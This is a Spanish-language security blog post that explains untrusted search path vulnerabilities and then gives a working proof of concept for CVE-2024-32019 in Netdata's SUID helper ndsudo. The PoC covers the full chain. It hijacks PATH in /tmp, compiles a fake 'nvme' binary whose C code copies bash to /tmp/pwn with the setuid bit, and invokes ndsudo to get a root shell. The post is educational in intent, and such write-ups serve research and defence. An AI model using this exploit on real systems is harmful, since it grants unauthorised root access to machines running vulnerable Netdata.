Blog Blog

Untrusted Search Path

August 6, 2025
Untrusted Search Path

Introducción


Una vulnerabilidad untrusted search path se produce cuando un binario o alguna aplicación ejecuta código desde una ubicación que no está protegida adecuadamente, lo que compromete la seguridad del sistema. Este tipo de vulnerabilidad se produce cuando una aplicación está diseñada para buscar bibliotecas compartidas o llama a otros binarios de los cuales nosotros podemos manipular, llama a ejecutables u otras dependencias en directorios especificados en una variable de entorno `$PATH` o un archivo de configuración, sin verificar adecuadamente la autenticidad de estos directorios.

Los atacantes pueden aprovechar el untrusted search path modificando la variable de entorno `PATH` o el archivo de configuración (dependiendo de la ruta) para que apunte a un directorio controlado por el atacante. Esto permite al atacante ejecutar código malicioso o instalar malware en el sistema, lo que puede comprometer los datos confidenciales o dar control total sobre el sistema afectado si es que el script, lo ejecuta alguien con root.

CVE-2024-32019 - PoC


En este caso veremos que uno de los binarios del programa netdata versión llamado `ndsudo` llama a otra función de la cual nosotros nos podemos aprovechar en este caso en `nvme`, a este binario que llama podemos aplicarle un **untrusted search path** ya que tenemos busca a este binario en nuestra ruta en donde busca el directorio y podemos establecer el que queramos.
Esto sucede gracias a que `ndsudo` se ejecuta con permisos SUID.

- Primera cambiamos nuestra ruta donde vamos a trabajar

1cd /tmp

- Luego establecer la ruta actual al PATH.

1export PATH=$(pwd):$PATH


- Ahora crearemos un binario en nuestra máquina atacante.

1# En máquina atacante
2nano nvme.c


exploit común en C


1#include <unistd.h>
2#include <stdlib.h>
3
4int main() {
5setuid(0);
6setgid(0);
7
8system("cp /bin/bash /tmp/pwn && chmod +s /tmp/pwn");
9
10return 0;
11}


Esta plantilla de C se utiliza para elevar privilegios, crea una bash en la carpeta actual y le asigna permisos para nosotros correr un `bash -p`.

Ahora compilamos

1gcc -o nvme nvme.c



Pasamos el binario a la máquina victima de tu manera preferida.
Luego ejecutamos `ndsudo`y veremos que hemos escalado privilegios a root.

1/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
1/tmp/pwn -p

Refs


https://cqr.company/web-vulnerabilities/untrusted-search-path/
https://nvd.nist.gov/vuln/detail/CVE-2024-32019
https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2024-32019
https://sploitus.com/exploit?id=1321A903-80B8-56C5-A776-516C0F848CB8

tags


#untrusted-search-path, #privilege-escalation, #local-privesc, #linux-security #SUID #CVE-2024-32019 #netdata #ndsudo #vulnerability-exploitation #setuid #gcc #bash-suid-shell #path-manipulation #PATH-environment-variable #escalation-bin-path-hijack #nvme #exploit-development #binary-exploitation #ethical-hacking #penetration-testing #red-team #security-research #linux

Raúl Zavaleta

Raúl Zavaleta

Entusiasta y eterno estudiante de ciberseguridad.